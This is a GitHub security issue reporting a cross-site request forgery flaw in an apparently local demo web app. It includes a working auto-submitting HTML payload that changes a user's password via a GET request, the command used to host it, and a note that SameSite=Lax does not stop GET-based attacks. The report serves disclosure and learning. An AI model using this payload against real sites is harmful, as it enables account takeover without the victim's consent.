-
Notifications
You must be signed in to change notification settings - Fork 1
Open
Labels
bugSomething isn't workingSomething isn't workingsecurity-highThis is a high security issueThis is a high security issue
Description
Simple CSRF
This issue arises because of the following reasons:
- Cookies are not protected (SameSite also all the other defenses are disabled)
- Cookie-based session handling
- No unpredictable parameters.
Payload used:
<html>
<head>
<title>
CSRF GET
</title>
</head>
<body>
<!-- sending the request to vulnerable website to change the password -->
<h1>Hacked!</h1>
<form action="http://localhost:3000/get/getchangepass" method="GET">
<input type="hidden" name="password" value="1234" />
<input type="hidden" name="confirm_password" value="1234" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Hosting the web page using a simple Python server: python3 -m http.server 1337 the response would be:
HTTP/1.1 302 Found
X-Powered-By: ExpressCVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H (8.0) in this case, which is debatable.
Exploit
The web page comes, loads up for a Second, and then redirects to the get/getchangepass

The password is changed, and we can notice a 302 redirect which means the password was changed.
Notice how the cookies are attached with the request sent from csrf_get.html

Even with SameSite=Lax, any sensitive operation performed via GET (if GET is vulnerable to CSRF) remains at risk.
The same exploit would work, even if we use the /defense1/login which sets the cookies with the property of SameSite=Lax
Metadata
Metadata
Assignees
Labels
bugSomething isn't workingSomething isn't workingsecurity-highThis is a high security issueThis is a high security issue